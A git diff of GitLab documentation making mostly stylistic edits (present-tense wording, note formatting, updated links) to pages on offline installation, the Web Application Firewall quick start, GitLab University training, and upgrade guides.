# Offline GitLab
@@ -16,6 +16,6 @@ If you plan to deploy a GitLab instance on a physically-isolated and offline net
## Features
-Follow these best practices to use GitLab's features in an offline environment:
+Follow these best practices to use GitLab features in an offline environment:
- [Operating the GitLab Secure scanners in an offline environment](../../user/application_security/offline_deployments/index.md).
diff --git a/doc/topics/offline/quick_start_guide.md b/doc/topics/offline/quick_start_guide.md
index 92f8f9167b7..dd1ddeb31ff 100644
--- a/doc/topics/offline/quick_start_guide.md
+++ b/doc/topics/offline/quick_start_guide.md
@@ -1,7 +1,7 @@
---
-stage: none
-group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+stage: Enablement
+group: Distribution
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Getting started with an offline GitLab Installation
@@ -11,22 +11,22 @@ instance entirely offline.
## Installation
-NOTE: **Note:**
+NOTE:
This guide assumes the server is Ubuntu 18.04. Instructions for other servers may vary.
This guide also assumes the server host resolves as `my-host`, which you should replace with your
server's name.
Follow the installation instructions [as outlined in the omnibus install
guide](https://about.gitlab.com/install/#ubuntu), but make sure to specify an `http`
-URL for the `EXTERNAL_URL` installation step. Once installed, we will manually
+URL for the `EXTERNAL_URL` installation step. Once installed, we can manually
configure the SSL ourselves.
It is strongly recommended to setup a domain for IP resolution rather than bind
to the server's IP address. This better ensures a stable target for our certs' CN
-and will make long-term resolution simpler.
+and makes long-term resolution simpler.
```shell
-sudo EXTERNAL_URL="http://my-host.internal" install gitlab-ee
+sudo EXTERNAL_URL="http://my-host.internal" apt-get install gitlab-ee
```
## Enabling SSL
diff --git a/doc/topics/web_application_firewall/index.md b/doc/topics/web_application_firewall/index.md
index 83b3bfb1cef..1c1728d9277 100644
--- a/doc/topics/web_application_firewall/index.md
+++ b/doc/topics/web_application_firewall/index.md
@@ -1,7 +1,7 @@
---
stage: Protect
group: Container Security
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
@@ -16,9 +16,9 @@ much more.
## Overview
GitLab provides a WAF out of the box after Ingress is deployed. All you need to do is deploy your
-application along with a service and Ingress resource. In GitLab's [Ingress](../../user/clusters/applications.md#ingress)
+application along with a service and Ingress resource. In the GitLab [Ingress](../../user/clusters/applications.md#ingress)
deployment, the [ModSecurity](https://modsecurity.org/)
-module is loaded into Ingress-NGINX by default and monitors the traffic going to the applications
+module is loaded into Ingress-NGINX by default and monitors the traffic to the applications
which have an Ingress. The ModSecurity module runs with the [OWASP Core Rule Set (CRS)](https://coreruleset.org/)
by default. The OWASP CRS detects and logs a wide range of common attacks.
@@ -55,7 +55,7 @@ If you are using a self-managed instance of GitLab, you need to configure the
[Google OAuth2 OmniAuth Provider](../../integration/google.md) before
you can configure a cluster on GKE. Once this is set up, you can follow the steps on the [quick start guide](quick_start_guide.md) to get started.
-NOTE: **Note:**
+NOTE:
This guide shows how the WAF can be deployed using Auto DevOps. The WAF
is available by default to all applications no matter how they are deployed,
as long as they are using Ingress.
diff --git a/doc/topics/web_application_firewall/quick_start_guide.md b/doc/topics/web_application_firewall/quick_start_guide.md
index 3df22854437..df355ff2413 100644
--- a/doc/topics/web_application_firewall/quick_start_guide.md
+++ b/doc/topics/web_application_firewall/quick_start_guide.md
@@ -1,50 +1,50 @@
---
stage: Protect
group: Container Security
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Getting started with the Web Application Firewall
-This is a step-by-step guide that will help you use GitLab's [Web Application Firewall](index.md) after
+This is a step-by-step guide to help you use the GitLab [Web Application Firewall](index.md) after
deploying a project hosted on GitLab.com to Google Kubernetes Engine using [Auto DevOps](../autodevops/index.md).
-We will use GitLab's native Kubernetes integration, so you will not need
+The GitLab native Kubernetes integration is used, so you do not need
to create a Kubernetes cluster manually using the Google Cloud Platform console.
-We will create and deploy a simple application that we create from a GitLab template.
+A simple application is created and deployed based on a GitLab template.
-These instructions will also work for a self-managed GitLab instance. However, you will
+These instructions also work for a self-managed GitLab instance. However, you
need to ensure your own [runners are configured](../../ci/runners/README.md) and
[Google OAuth is enabled](../../integration/google.md).
-GitLab's Web Application Firewall is deployed with [Ingress](../../user/clusters/applications.md#ingress),
-so it will be available to your applications no matter how you deploy them to Kubernetes.
+The GitLab Web Application Firewall is deployed with [Ingress](../../user/clusters/applications.md#ingress),
+so it is available to your applications no matter how you deploy them to Kubernetes.
## Configuring your Google account
Before creating and connecting your Kubernetes cluster to your GitLab project,
you need a Google Cloud Platform account. If you do not already have one,
-sign up at <https://console.cloud.google.com>. You will need to either sign in with an existing
+sign up at <https://console.cloud.google.com>. You need to either sign in with an existing
Google account (for example, one that you use to access Gmail, Drive, etc.) or create a new one.
1. To enable the required APIs and related services, follow the steps in the ["Before you begin" section of the Kubernetes Engine docs](https://cloud.google.com/kubernetes-engine/docs/quickstart#before-you-begin).
1. Make sure you have created a [billing account](https://cloud.google.com/billing/docs/how-to/manage-billing-account).
-TIP: **Tip:**
+NOTE:
Every new Google Cloud Platform (GCP) account receives [$300 in credit](https://console.cloud.google.com/freetrial),
-and in partnership with Google, GitLab is able to offer an additional $200 for new GCP accounts to get started with GitLab's
+and in partnership with Google, GitLab is able to offer an additional $200 for new GCP accounts to get started with the GitLab
Google Kubernetes Engine integration. All you have to do is [follow this link](https://cloud.google.com/partners/partnercredit/?PCN=a0n60000006Vpz4AAC) and apply for credit.
## Creating a new project from a template
-We will use one of GitLab's project templates to get started. As the name suggests,
+We use a GitLab project templates to get started. As the name suggests,
those projects provide a barebones application built on some well-known frameworks.
1. In GitLab, click the plus icon (**+**) at the top of the navigation bar and select
**New project**.
1. Go to the **Create from template** tab where you can choose for example a Ruby on
Rails, Spring, or NodeJS Express project.
- We will use the Ruby on Rails template.
+ Use the Ruby on Rails template.
![Select project template](../autodevops/img/guide_project_template_v12_3.png)
@@ -57,7 +57,7 @@ those projects provide a barebones application built on some well-known framewor
1. Click **Create project**.
Now that the project is created, the next step is to create the Kubernetes cluster
-under which this application will be deployed.
+to deploy this application under.
## Creating a Kubernetes cluster from within GitLab
@@ -76,9 +76,9 @@ under which this application will be deployed.
![Google auth](../autodevops/img/guide_google_auth_v12_3.png)
1. The last step is to provide the cluster details.
- 1. Give it a name, leave the environment scope as is, and choose the GCP project under which the cluster
- will be created (per the instructions to [configure your Google account](#configuring-your-google-account), a project should have already been created for you).
- 1. Choose the [region/zone](https://cloud.google.com/compute/docs/regions-zones/) under which the cluster will be created.
+ 1. Give it a name, leave the environment scope as is, and choose the GCP project under which to create the cluster.
+ (Per the instructions to [configure your Google account](#configuring-your-google-account), a project should have already been created for you.)
+ 1. Choose the [region/zone](https://cloud.google.com/compute/docs/regions-zones/) to create the cluster in.
1. Enter the number of nodes you want it to have.
1. Choose the [machine type](https://cloud.google.com/compute/docs/machine-types).
@@ -94,7 +94,7 @@ to take full advantage of Auto DevOps.
## Install Ingress
-GitLab's Kubernetes integration comes with some
+The GitLab Kubernetes integration comes with some
[pre-defined applications](../../user/project/clusters/index.md#installing-applications)
for you to install.
@@ -111,14 +111,14 @@ auditing anomalous traffic, blocking mode ensures the traffic doesn't reach past
After Ingress is installed, wait a few seconds and copy the IP address that
is displayed in order to add in your base **Domain** at the top of the page. For
-the purpose of this guide, we will use the one suggested by GitLab. Once you have
+the purpose of this guide, we use the one suggested by GitLab. Once you have
filled in the domain, click **Save changes**.
![Cluster Base Domain](../autodevops/img/guide_base_domain_v12_3.png)
Prometheus should also be installed. It is an open-source monitoring and
-alerting system that we will use to supervise the deployed application.
-We will not install GitLab Runner as we will use the shared runners that
+alerting system that is used to supervise the deployed application.
+Installing GitLab Runner is not required as we use the shared runners that
GitLab.com provides.
## Enabling Auto DevOps (optional)
@@ -162,13 +162,13 @@ deploys the application in Kubernetes ([Auto Deploy](../autodevops/stages.md#aut
The **production** stage creates Kubernetes objects
like a Deployment, Service, and Ingress resource. The
-application will be monitored by the WAF automatically.
+application is monitored by the WAF automatically.
## Validating Ingress is running ModSecurity
Now we can make sure that Ingress is running properly with ModSecurity and send
a request to ensure our application is responding correctly. You must connect to
-your cluster either using [Cloud Shell](https://cloud.google.com/shell/) or the [Google Cloud SDK](https://cloud.google.com/sdk/install).
+your cluster either using [Cloud Shell](https://cloud.google.com/shell/) or the [Google Cloud SDK](https://cloud.google.com/sdk/docs/install).
1. After connecting to your cluster, check if the Ingress-NGINX controller is running and ModSecurity is enabled.
@@ -201,7 +201,7 @@ your cluster either using [Cloud Shell](https://cloud.google.com/shell/) or the
NAME HOSTS PORTS
production-auto-deploy fjdiaz-auto-devv-2.34.68.60.207.nip.io,le-16730183.34.68.60.207.nip.io 80, 443
- $ curl --location --insecure fjdiaz-auto-devv-2.34.68.60.207.nip.io | grep 'Rails!' --after 2 --before 2
+ $ curl --location --insecure "fjdiaz-auto-devv-2.34.68.60.207.nip.io" | grep 'Rails!' --after 2 --before 2
<body>
<p>You're on Rails!</p>
</body>
@@ -216,7 +216,7 @@ Now let's send a potentially malicious request, as if we were a scanner,
checking for vulnerabilities within our application and examine the ModSecurity logs:
```shell
-$ curl --location --insecure fjdiaz-auto-devv-2.34.68.60.207.nip.io --header "User-Agent: absinthe" | grep 'Rails!' --after 2 --before 2
+$ curl --location --insecure "fjdiaz-auto-devv-2.34.68.60.207.nip.io" --header "User-Agent: absinthe" | grep 'Rails!' --after 2 --before 2
<body>
<p>You're on Rails!</p>
</body>
diff --git a/doc/university/README.md b/doc/university/README.md
index 1448d150a2c..7d6ecb536a6 100644
--- a/doc/university/README.md
+++ b/doc/university/README.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
comments: false
type: index
---
@@ -12,7 +12,7 @@ GitLab University is a great place to start when learning about version control
If you're looking for a GitLab subscription for _your university_, see our [GitLab for Education](https://about.gitlab.com/solutions/education/) page.
-CAUTION: **Caution:**
+WARNING:
Some of the content in GitLab University may be out of date and we plan to
[evaluate](https://gitlab.com/gitlab-org/gitlab/-/issues/20403) it.
@@ -29,7 +29,7 @@ The GitLab University curriculum is composed of GitLab videos, screencasts, pres
### 1.1. Version Control and Git
1. [Version Control Systems](https://docs.google.com/presentation/d/16sX7hUrCZyOFbpvnrAFrg6tVO5_yT98IgdAqOmXwBho/edit#slide=id.g72f2e4906_2_29)
-1. [Katakoda: Learn Git Version Control using Interactive Browser-Based Scenarios](https://www.katacoda.com/courses/git)
+1. [Katacoda: Learn Git Version Control using Interactive Browser-Based Scenarios](https://www.katacoda.com/courses/git)
### 1.2. GitLab Basics
@@ -51,7 +51,7 @@ The GitLab University curriculum is composed of GitLab videos, screencasts, pres
1. [Creating a Project in GitLab - Video](https://www.youtube.com/watch?v=7p0hrpNaJ14)
1. [How to Create Files and Directories](https://about.gitlab.com/blog/2016/02/10/feature-highlight-create-files-and-directories-from-files-page/)
1. [GitLab To-Do List](https://about.gitlab.com/blog/2016/03/02/gitlab-todos-feature-highlight/)
-1. [GitLab's Work in Progress (WIP) Flag](https://about.gitlab.com/blog/2016/01/08/feature-highlight-wip/)
+1. [GitLab Work in Progress (WIP) Flag](https://about.gitlab.com/blog/2016/01/08/feature-highlight-wip/)
### 1.5. Migrating from other Source Control
@@ -143,7 +143,7 @@ The GitLab University curriculum is composed of GitLab videos, screencasts, pres
### 3.1. DevOps
-1. [XebiaLabs: DevOps Terminology](https://xebialabs.com/glossary/)
+1. [XebiaLabs: DevOps Terminology](https://digital.ai/glossary)
1. [XebiaLabs: Periodic Table of DevOps Tools](https://digital.ai/periodic-table-of-devops-tools)
1. [Puppet Labs: State of DevOps 2016 - Book](https://puppet.com/resources/report/2016-state-devops-report/)
@@ -201,7 +201,7 @@ The GitLab University curriculum is composed of GitLab videos, screencasts, pres
## 5. Resources for GitLab Team Members
-NOTE: **Note:**
+NOTE:
Some content can only be accessed by GitLab team members.
1. [Sales Path](https://about.gitlab.com/handbook/sales/onboarding/)
diff --git a/doc/university/high-availability/aws/README.md b/doc/university/high-availability/aws/README.md
index caaa0a3675b..cfaeea8f5c2 100644
--- a/doc/university/high-availability/aws/README.md
+++ b/doc/university/high-availability/aws/README.md
@@ -3,3 +3,6 @@ redirect_to: '../../../install/aws/index.md'
---
This document was moved to [another location](../../../install/aws/index.md).
+
+<!-- This redirect file can be deleted after February 1, 2021. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/university/training/gitlab_flow.md b/doc/university/training/gitlab_flow.md
index ce6ee7e6561..f25bff03926 100644
--- a/doc/university/training/gitlab_flow.md
+++ b/doc/university/training/gitlab_flow.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
comments: false
type: reference
---
diff --git a/doc/university/training/index.md b/doc/university/training/index.md
index c8613e834b8..deae79e51b0 100644
--- a/doc/university/training/index.md
+++ b/doc/university/training/index.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
comments: false
type: index
---
diff --git a/doc/university/training/topics/agile_git.md b/doc/university/training/topics/agile_git.md
index 6cd5051261f..cb82d3cec64 100644
--- a/doc/university/training/topics/agile_git.md
+++ b/doc/university/training/topics/agile_git.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
comments: false
---
diff --git a/doc/university/training/topics/bisect.md b/doc/university/training/topics/bisect.md
index 09274c1ce11..8af77031c93 100644
--- a/doc/university/training/topics/bisect.md
+++ b/doc/university/training/topics/bisect.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
comments: false
---
diff --git a/doc/university/training/topics/cherry_picking.md b/doc/university/training/topics/cherry_picking.md
index 04b8f3b9a47..2f806ad2590 100644
--- a/doc/university/training/topics/cherry_picking.md
+++ b/doc/university/training/topics/cherry_picking.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
comments: false
---
diff --git a/doc/university/training/topics/env_setup.md b/doc/university/training/topics/env_setup.md
index cbe2ce46be4..bd487731783 100644
--- a/doc/university/training/topics/env_setup.md
+++ b/doc/university/training/topics/env_setup.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
comments: false
---
@@ -12,7 +12,7 @@ comments: false
- **Windows** - Install 'Git for Windows' from [Git for Windows](https://gitforwindows.org).
- **Mac**
- Type '`git`' in the Terminal application.
- - If it's not installed, it will prompt you to install it.
+ - If it's not installed, it prompts you to install it.
- **GNU/Linux** - Enter `which git` in the Terminal application and press <kbd>Enter</kbd> to
determine if Git is installed on your system.
diff --git a/doc/university/training/topics/explore_gitlab.md b/doc/university/training/topics/explore_gitlab.md
index 8678f8fd9eb..584069aa7b0 100644
--- a/doc/university/training/topics/explore_gitlab.md
+++ b/doc/university/training/topics/explore_gitlab.md
@@ -3,3 +3,6 @@ redirect_to: '../../../gitlab-basics/README.md'
---
This document was moved to [another location](../../../gitlab-basics/README.md).
+
+<!-- This redirect file can be deleted after February 1, 2021. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/university/training/topics/feature_branching.md b/doc/university/training/topics/feature_branching.md
index 45fad8f1894..f6233bddb18 100644
--- a/doc/university/training/topics/feature_branching.md
+++ b/doc/university/training/topics/feature_branching.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
comments: false
---
diff --git a/doc/university/training/topics/getting_started.md b/doc/university/training/topics/getting_started.md
index 531d274249a..f5c91b94813 100644
--- a/doc/university/training/topics/getting_started.md
+++ b/doc/university/training/topics/getting_started.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
comments: false
---
diff --git a/doc/university/training/topics/git_add.md b/doc/university/training/topics/git_add.md
index be66b1a14cc..d136b9151bc 100644
--- a/doc/university/training/topics/git_add.md
+++ b/doc/university/training/topics/git_add.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
comments: false
---
diff --git a/doc/university/training/topics/git_intro.md b/doc/university/training/topics/git_intro.md
index 1ff436214b2..416d421956c 100644
--- a/doc/university/training/topics/git_intro.md
+++ b/doc/university/training/topics/git_intro.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
comments: false
---
diff --git a/doc/university/training/topics/git_log.md b/doc/university/training/topics/git_log.md
index c62b5ad5a3c..ae4ae69ce76 100644
--- a/doc/university/training/topics/git_log.md
+++ b/doc/university/training/topics/git_log.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
comments: false
---
diff --git a/doc/university/training/topics/merge_conflicts.md b/doc/university/training/topics/merge_conflicts.md
index 87cb119768f..66771559298 100644
--- a/doc/university/training/topics/merge_conflicts.md
+++ b/doc/university/training/topics/merge_conflicts.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
comments: false
---
@@ -42,7 +42,7 @@ git commit -am "add line6 and line7"
git push origin master
```
-Create a merge request on the GitLab web UI. You'll see a conflict warning.
+Create a merge request on the GitLab web UI, and a conflict warning displays.
```shell
git checkout conflicts_branch
diff --git a/doc/university/training/topics/merge_requests.md b/doc/university/training/topics/merge_requests.md
index bda14dc342e..a4a3108ebd1 100644
--- a/doc/university/training/topics/merge_requests.md
+++ b/doc/university/training/topics/merge_requests.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
comments: false
---
diff --git a/doc/university/training/topics/rollback_commits.md b/doc/university/training/topics/rollback_commits.md
index 47f28f8ef89..34c2d9687bb 100644
--- a/doc/university/training/topics/rollback_commits.md
+++ b/doc/university/training/topics/rollback_commits.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
comments: false
---
diff --git a/doc/university/training/topics/stash.md b/doc/university/training/topics/stash.md
index db4a21da6ba..051103e5f4b 100644
--- a/doc/university/training/topics/stash.md
+++ b/doc/university/training/topics/stash.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
comments: false
---
@@ -55,7 +55,7 @@ and we need to change to a different branch.
```
- If we meet conflicts we need to either reset or commit our changes.
-- Conflicts through `pop` will not drop a stash afterwards.
+- Conflicts through `pop` doesn't drop a stash afterwards.
## Git Stash sample workflow
diff --git a/doc/university/training/topics/subtree.md b/doc/university/training/topics/subtree.md
index 779ebab1441..54461915a05 100644
--- a/doc/university/training/topics/subtree.md
+++ b/doc/university/training/topics/subtree.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
comments: false
---
diff --git a/doc/university/training/topics/tags.md b/doc/university/training/topics/tags.md
index b2b8a085a77..ca438e04a55 100644
--- a/doc/university/training/topics/tags.md
+++ b/doc/university/training/topics/tags.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
comments: false
type: reference
---
@@ -28,6 +28,8 @@ git tag my_lightweight_tag
# Annotated tag
git tag -a v1.0 -m ‘Version 1.0’
+
+# Show list of the existing tags
git tag
git push origin --tags
diff --git a/doc/university/training/topics/unstage.md b/doc/university/training/topics/unstage.md
index 77aca3cdab8..7e7530aba75 100644
--- a/doc/university/training/topics/unstage.md
+++ b/doc/university/training/topics/unstage.md
@@ -1,13 +1,13 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
comments: false
---
# Unstage
-- To remove files from stage use reset HEAD where HEAD is the last commit of the current branch. This will unstage the file but maintain the modifications.
+- To remove files from stage use reset HEAD where HEAD is the last commit of the current branch. This unstages the file but maintain the modifications.
```shell
git reset HEAD <file>
diff --git a/doc/university/training/user_training.md b/doc/university/training/user_training.md
index 86f397eba41..ad8f094d185 100644
--- a/doc/university/training/user_training.md
+++ b/doc/university/training/user_training.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
comments: false
type: reference
---
@@ -46,7 +46,7 @@ Use the tools at your disposal when you get stuck.
- Mac: Type '`git`' in the Terminal application.
-> If it's not installed, it will prompt you to install it.
+> If it's not installed, it prompts you to install it.
- Debian: '`sudo apt-get install git-all`' or Red Hat '`sudo yum install git-all`'
@@ -235,7 +235,7 @@ See GitLab merge requests for examples: <https://gitlab.com/gitlab-org/gitlab-fo
- Useful for marking deployments and releases.
- Annotated tags are an unchangeable part of Git history.
-- Soft/lightweight tags can be set and removed at will.
+- Soft/lightweight tags can be set and removed at any time.
- Many projects combine an annotated release tag with a stable branch.
- Consider setting deployment/release tags automatically.
diff --git a/doc/update/README.md b/doc/update/README.md
index 0534d793613..45cac3ec8ca 100644
--- a/doc/update/README.md
+++ b/doc/update/README.md
@@ -1,7 +1,7 @@
---
stage: Enablement
group: Distribution
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Upgrading GitLab
@@ -33,7 +33,7 @@ official ways to update GitLab:
### Linux packages (Omnibus GitLab)
The [Omnibus update guide](https://docs.gitlab.com/omnibus/update/)
-contains the steps needed to update a package installed by GitLab's official
+contains the steps needed to update a package installed by official GitLab
repositories.
There are also instructions when you want to
@@ -109,7 +109,7 @@ Sidekiq::ScheduledSet.new.select { |r| r.klass == 'BackgroundMigrationWorker' }.
### What do I do if my background migrations are stuck?
-CAUTION: **Warning:**
+WARNING:
The following operations can disrupt your GitLab performance.
It is safe to re-execute these commands, especially if you have 1000+ pending jobs which would likely overflow your runtime memory.
@@ -266,7 +266,7 @@ Below you can find some guides to help you change GitLab editions.
### Community to Enterprise Edition
-NOTE: **Note:**
+NOTE:
The following guides are for subscribers of the Enterprise Edition only.
If you wish to upgrade your GitLab installation from Community to Enterprise
@@ -276,7 +276,7 @@ Edition, follow the guides below based on the installation method:
to a version upgrade: stop the server, get the code, update configuration files for
the new functionality, install libraries and do migrations, update the init
script, start the application and check its status.
-- [Omnibus CE to EE](https://docs.gitlab.com/omnibus/update/README.html#updating-community-edition-to-enterprise-edition) - Follow this guide to update your Omnibus
+- [Omnibus CE to EE](https://docs.gitlab.com/omnibus/update/README.html#update-community-edition-to-enterprise-edition) - Follow this guide to update your Omnibus
GitLab Community Edition to the Enterprise Edition.
### Enterprise to Community Edition
@@ -310,6 +310,10 @@ installation-specific upgrade instructions, based on how you installed GitLab:
- [Linux packages (Omnibus GitLab)](https://docs.gitlab.com/omnibus/update/README.html#version-specific-changes)
- [Helm charts](https://docs.gitlab.com/charts/installation/upgrade.html)
+NOTE:
+Specific information that follow related to Ruby and Git versions do not apply to [Omnibus installations](https://docs.gitlab.com/omnibus/)
+and [Helm Chart deployments](https://docs.gitlab.com/charts/). They come with appropriate Ruby and Git versions and are not using system binaries for Ruby and Git. There is no need to install Ruby or Git when utilizing these two approaches.
+
### 13.6.0
Ruby 2.7.2 is required. GitLab will not start with Ruby 2.6.6 or older versions.
diff --git a/doc/update/mysql_to_postgresql.md b/doc/update/mysql_to_postgresql.md
index 10c1a5017b5..613df2c3a84 100644
--- a/doc/update/mysql_to_postgresql.md
+++ b/doc/update/mysql_to_postgresql.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Migrating from MySQL to PostgreSQL
@@ -11,7 +11,7 @@ migrate it to a PostgreSQL database.
## Requirements
-NOTE: **Note:**
+NOTE:
Support for MySQL was removed in GitLab 12.1. This procedure should be performed
**before** installing GitLab 12.1.
@@ -51,7 +51,7 @@ For other distributions, follow the instructions in PostgreSQL's
[download page](https://www.postgresql.org/download/) to add their repository
and then install `pgloader`.
-If you are migrating to a Docker based installation, you will need to install
+If you are migrating to a Docker based installation, you must install
pgloader within the container as it is not included in the container image.
1. Start a shell session in the context of the running container:
@@ -69,7 +69,7 @@ pgloader within the container as it is not included in the container image.
## Omnibus GitLab installations
-For [Omnibus GitLab packages](https://about.gitlab.com/install/), you'll first
+For [Omnibus GitLab packages](https://about.gitlab.com/install/), you first
need to enable the bundled PostgreSQL:
1. Stop GitLab:
@@ -84,13 +84,13 @@ need to enable the bundled PostgreSQL:
postgresql['enable'] = true
```
-1. Edit `/etc/gitlab/gitlab.rb` to use the bundled PostgreSQL. Please check
- all the settings beginning with `db_`, such as `gitlab_rails['db_adapter']`
- and alike. You could just comment all of them out so that we'll just use
- the defaults.
